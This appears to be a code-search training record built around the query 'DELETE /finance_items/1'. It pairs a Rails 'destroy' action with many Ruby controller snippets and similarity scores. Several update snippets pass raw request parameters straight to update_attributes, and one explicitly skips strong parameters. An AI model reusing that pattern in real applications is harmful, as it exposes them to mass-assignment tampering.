"def update\n # too many issues trying to do strong parametesr.\n # TODO: implement strong params in the future\n params = request.parameters\n\n if !params.has_key?(:invoice_items) then\n flash[:error] = \"No items to update in invoice #{invoice.id}\"\n head status: :precondition_failed\n return\n end\n\n invoice = Invoice.find(params[:id])\n\n #just try to update the damn thing\n params[:invoice_items].each_pair do |key,value|\n InvoiceItem.find(key).update_attributes(value)\n end\n\n invoice.update_attribute(:total_billing, invoice.generate_total_billing)\n # update status\n if invoice.total_billing.zero? then\n invoice.update_attribute(:status, Invoice.statuses[\"settled\"])\n else\n invoice.update_attribute(:status, Invoice.statuses[\"outstanding\"])\n end\n\n flash[:notice] = \"Invoice #{invoice.id} updated\"\n render json: {message:\"Invoice #{invoice.id} updated\", invoice:invoice}, status: :ok\n end",
"def update\n if @item.update_attributes(item_params)\n render json: @item, status: :ok\n else\n render_error(@item, :unprocessable_entity)\n end\n end",
"def update\n respond_to do |format|\n if @financing_item.update(financing_item_params)\n format.html { redirect_to @financing_item, notice: 'Financing item was successfully updated.' }\n format.json { render :show, status: :ok, location: @financing_item }\n else\n format.html { render :edit }\n format.json { render json: @financing_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n @item.update_attributes(params[:item])\n respond_with @item\n end",
"def update\n respond_to do |format|\n if @apiv1_item.update(apiv1_item_params)\n format.html { redirect_to @apiv1_item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @apiv1_item }\n else\n format.html { render :edit }\n format.json { render json: @apiv1_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = current_user\n respond_to do |format|\n if @contract_item.update(contract_item_params)\n log( \"Contract item is changed\", @user )\n\n format.html { redirect_to @contract_item, notice: 'Contract item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @contract_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n if params[:portfolio_finance][:share_items].present?\n ShareItem.where(:portfolio_finance_id => @portfolio_finance.id).destroy_all\n params[:portfolio_finance][:share_items].each do |key, share_item|\n if share_item[:quantity].to_i > 0\n @portfolio_finance.add_share_item(ShareItem.new(:share_id => key, :quantity => share_item[:quantity].to_i))\n end\n end\n end\n\n respond_to do |format|\n if @portfolio_finance.update(portfolio_finance_params)\n format.html { redirect_to root_path, notice: 'Portfolio finance was successfully updated.' }\n format.json { render :show, status: :ok, location: @portfolio_finance }\n else\n format.html { render :edit }\n format.json { render json: @portfolio_finance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n set_proposed_item\n\n respond_to do |format|\n if @proposed_item.update(proposed_item_params)\n format.html { redirect_to @budget, notice: 'Proposed item was successfully updated.' }\n format.json { render :show, status: :ok, location: @proposed_item }\n else\n format.html { render :edit }\n format.json { render json: @proposed_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n @invoice_item.update(@invoice_item)\n respond_with(@invoice)\n \n end",
"def update\n @accounting_item = Accounting::Item.find_by(id: params[:id], user_id: @current_user.id)\n logger.info @accounting_item.inspect\n\n respond_to do |format|\n if @accounting_item.update(item_params)\n format.json { head :no_content }\n else\n format.json { render json: @accounting_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @operation_item.update(operation_item_params)\n format.html { redirect_to :action => :index, notice: 'Operation item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @operation_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = @client.items.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { respond_with_bip(@item) }\n else\n format.html { render action: 'edit' }\n format.json { respond_with_bip(@item) }\n end\n end\n end",
"def update\n respond_to do |format|\n if @custom_item.update(custom_item_params)\n format.html { redirect_to order_bill_path(@custom_item.bill.order, @custom_item.bill), notice: 'Custom item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { redirect_to order_bill_path(@custom_item.bill.order, @custom_item.bill) }\n format.json { render json: @custom_item.errors, status: :unprocessable_entity }\n end\n \n end\n end",
"def update\n respond_to do |format|\n if @needed_item.update(needed_item_params)\n format.html { redirect_to @needed_item, notice: 'Needed item was successfully updated.' }\n format.json { render :show, status: :ok, location: @needed_item }\n else\n format.html { render :edit }\n format.json { render json: @needed_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_rest\n @item_usage = ItemUsage.find(params[:id])\n\n respond_to do |format|\n if @item_usage.update_attributes(params[:item_usage])\n flash[:notice] = 'ItemUsage was successfully updated.'\n format.html { redirect_to(@item_usage) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @item_usage.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def change_multiple_items\n @items = params[:items]\n\n @items.each do |item|\n @current_item = Item.find(item[:id])\n @current_item.update(quantity: item[:quantity])\n end\n\n render :json => @items.to_json\n end",
"def update\n @finance_inflow = FinanceInflow.find(params[:id])\n\n respond_to do |format|\n if @finance_inflow.update_attributes(params[:finance_inflow])\n format.html { redirect_to @finance_inflow, notice: 'Finance inflow was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @finance_inflow.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @finance = Finance.find(params[:id])\n\n respond_to do |format|\n if @finance.update_attributes(params[:finance])\n format.html { redirect_to @finance, notice: 'Finance was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @finance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, :notice => 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @closing_item = ClosingItem.find(params[:id])\n\n respond_to do |format|\n if @closing_item.update_attributes(params[:closing_item])\n format.html { redirect_to @closing_item, notice: 'Closing item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @closing_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n# @item = Item.get(params[:id])\n\n respond_to do |format|\n if @item.update(params[:item])\n format.html { redirect_to({action: :show, id: @item}, notice: 'Item was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n Rails.logger.debug params.inspect\n @item = Item.find(params[:id])\n respond_to do |format|\n if @item.update_attributes(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n respond_with(@items)\n end\n end\n end",
"def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to '/items', notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @furniture_item.update(furniture_item_params)\n format.html { redirect_to @furniture_item, notice: 'Furniture item was successfully updated.' }\n format.json { render :show, status: :ok, location: @furniture_item }\n else\n format.html { render :edit }\n format.json { render json: @furniture_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to items_path, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, :notice => 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @order_item = OrderItem.find(params[:id])\n\n if @order_item.update(order_item_params)\n head :no_content\n else\n render json: @order_item.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @requirement_item.update(requirement_item_params)\n format.html { redirect_to @requirement_item, notice: 'Requirement item was successfully updated.' }\n format.json { render :show, status: :ok, location: @requirement_item }\n else\n format.html { render :edit }\n format.json { render json: @requirement_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fb_item = FbItem.find(params[:id])\n\n respond_to do |format|\n if @fb_item.update_attributes(params[:fb_item])\n format.html { redirect_to @fb_item, notice: 'Fb item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fb_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_rest\n @entry_item = EntryItem.find(params[:id])\n\n respond_to do |format|\n if @entry_item.update_attributes(params[:entry_item])\n flash[:notice] = 'EntryItem was successfully updated.'\n #format.html { redirect_to(@entry_item) }\n format.xml { head :ok }\n else\n #format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update #saves and redirects, saves changes\n @line_item = LineItem.find(params[:id])\n @line_item.quantity = params[:quantity]\n @line_item.size_id = params[:size_id]\n @line_item.save\n render json: @line_item\n end",
"def update\n @supermarket = Supermarket.find(params[:id]) \n respond_to do |format|\n if @supermarket.update(supermarket_params)\n format.json { render json: @supermarket, status: :ok }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n itemid = @item.id\n @cartitems = CartItem.where(\"item_id = #{itemid}\")\n @cartitems.each do |cartitem|\n cartitem.available = @item.quantity\n cartitem.save\n end\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @itemstable = Itemstable.find(params[:id])\n\n respond_to do |format|\n if @itemstable.update_attributes(params[:itemstable])\n format.html { redirect_to @itemstable, notice: 'Itemstable was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @itemstable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @finance.update(finance_params)\n format.html { redirect_to @finance, notice: 'Finance was successfully updated.' }\n format.json { render :show, status: :ok, location: @finance }\n else\n format.html { render :edit }\n format.json { render json: @finance.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to lists_path, :notice => 'Item was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @item = Item.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @item = Item.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @item.update_attributes(params[:item])\r\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\r\n format.json { head :ok }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @item.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n budgets = update_budgets(params[:budgets])\n\n render json: budgets, status: :ok\n end",
"def update\n @item = Item.find(params[:id])\n respond_to do |format|\n if @item.update_attributes(params[:item])\n flash[:notice] = \"Item has been updated\"\n format.json { render :json => @item.to_json, :status => 200 }\n format.xml { head :ok }\n format.html { render :action => :edit }\n else\n format.json { render :text => \"Could not update item\", :status => :unprocessable_entity } #placeholder\n format.xml { render :xml => @item.errors, :status => :unprocessable_entity }\n format.html { render :action => :edit, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n resource.update(deposit_contract_params)\n respond_with client, resource\n end",
"def update\n respond_to do |format|\n if @budgetitem.update(budgetitem_params)\n format.html { redirect_to @budgetitem, notice: 'Budgetitem was successfully updated.' }\n format.json { render :show, status: :ok, location: @budgetitem }\n else\n format.html { render :edit }\n format.json { render json: @budgetitem.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @closet_item = ClosetItem.find(params[:id])\n\n respond_to do |format|\n if @closet_item.update_attributes(params[:closet_item])\n format.html { redirect_to @closet_item, notice: 'Closet item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @closet_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fertigation_item.update(fertigation_item_params)\n update_fertigation_and_costs\n format.html { redirect_to @fertigation_item, notice: 'Fertigation item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fertigation_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n\n\n end",
"def update\n @item.update!(item_params)\n end",
"def update\n @item = @deal.items.find(params[:id])\n\n respond_to do |format|\n if @item.update_attributes(params[:item])\n format.html { redirect_to deal_items_url(@deal), notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sales_item.update(sales_item_params)\n format.html { redirect_to @sales_item, notice: 'Sales item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @sales_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @service_item.update(service_item_params)\n format.html { redirect_to @service_item, notice: 'Service item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @service_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def item_update\n @item = Item.find(params[:id])\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to item_show_path(@item), notice: 'O item foi atualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to root_path, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @quote_request_item.update(quote_request_item_params)\n format.html { redirect_to @quote_request_item, notice: 'Quote request item was successfully updated.' }\n format.json { render :show, status: :ok, location: @quote_request_item }\n else\n format.html { render :edit }\n format.json { render json: @quote_request_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: t('controller.successfully_updated', model: t('activerecord.models.item')) }\n format.json { head :no_content }\n else\n prepare_options\n format.html { render action: \"edit\" }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @items = args[:items] if args.key?(:items)\n @request_id = args[:request_id] if args.key?(:request_id)\n end",
"def update!(**args)\n @items = args[:items] if args.key?(:items)\n @request_id = args[:request_id] if args.key?(:request_id)\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: \"Item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: \"Item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: \"Item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: \"Item was successfully updated.\" }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @convenience_item.update(convenience_item_params)\n format.html { redirect_to @convenience_item, notice: 'Convenience item was successfully updated.' }\n format.json { render :show, status: :ok, location: @convenience_item }\n else\n format.html { render :edit }\n format.json { render json: @convenience_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fnf_item.update(fnf_item_params)\n format.html { redirect_to @fnf_item, notice: 'Fnf item was successfully updated.' }\n format.json { render :show, status: :ok, location: @fnf_item }\n else\n format.html { render :edit }\n format.json { render json: @fnf_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @item.update(item_params)\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.67903686",
"0.67452943",
"0.674345",
"0.6732187",
"0.6548482",
"0.65046424",
"0.64801484",
"0.6463188",
"0.6414768",
"0.63969636",
"0.639078",
"0.6390224",
"0.6381282",
"0.63758993",
"0.6339884",
"0.63208246",
"0.6310882",
"0.6309246",
"0.62886137",
"0.6285171",
"0.62783724",
"0.6274126",
"0.62733793",
"0.62672424",
"0.62648845",
"0.6259893",
"0.62541157",
"0.6245712",
"0.62445945",
"0.6234016",
"0.623313",
"0.623186",
"0.62279606",
"0.6227215",
"0.6227215",
"0.6227215",
"0.6227215",
"0.6227215",
"0.6227215",
"0.6227215",
"0.6227215",
"0.6227215",
"0.62248784",
"0.62112755",
"0.62112755",
"0.62112755",
"0.62112755",
"0.62112755",
"0.62112755",
"0.62112755",
"0.62112755",
"0.62112755",
"0.62112755",
"0.62112755",
"0.62096345",
"0.62040055",
"0.61875314",
"0.6185234",
"0.6185234",
"0.6181027",
"0.6178077",
"0.61753505",
"0.6159579",
"0.61590993",
"0.61567444",
"0.6146924",
"0.61457556",
"0.61435103",
"0.6140241",
"0.61393356",
"0.6139009",
"0.6138384",
"0.61312056",
"0.61293954",
"0.61243796",
"0.611249",
"0.6103492",
"0.6102446",
"0.6099172",
"0.60973155",
"0.60914594",
"0.609061",
"0.60897934",
"0.6081874",
"0.60813767",
"0.6080809",
"0.6080704",
"0.60802305",
"0.60802305",
"0.6068421",
"0.6068421",
"0.6068421",
"0.6068421",
"0.60682577",
"0.606736",
"0.6065808",
"0.6065409",
"0.6065409",
"0.6065409",
"0.6065409"
] |
0.7082645
|
0
|
DELETE /finance_items/1 DELETE /finance_items/1.json
|
def destroy
@finance_item.destroy
respond_to do |format|
format.html { redirect_to finance_items_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete\n render json: Item.delete(params[\"id\"])\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to budget_path(params[:budget_id]) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @apiv1_item.destroy\n respond_to do |format|\n format.html { redirect_to apiv1_items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @financing_item.destroy\n respond_to do |format|\n format.html { redirect_to financing_items_url, notice: 'Financing item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_item.destroy\n render json: {message: 'deletado com sucesso'}\n end",
"def destroy\n @item = item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(budget_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n render status: 200, json: @request_item.destroy\n end",
"def destroy\n @item = @client.items.find(params[:id])\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully removed from Inventory.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n# @item = Item.get(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to({action: :index}, notice: 'Item was successfully deleted.') }\n format.json { head :ok }\n end\n end",
"def destroy\n @itemstable = Itemstable.find(params[:id])\n @itemstable.destroy\n\n respond_to do |format|\n format.html { redirect_to itemstables_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item1 = LineItem1.find(params[:id])\n @line_item1.destroy\n\n respond_to do |format|\n format.html { redirect_to line_item1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
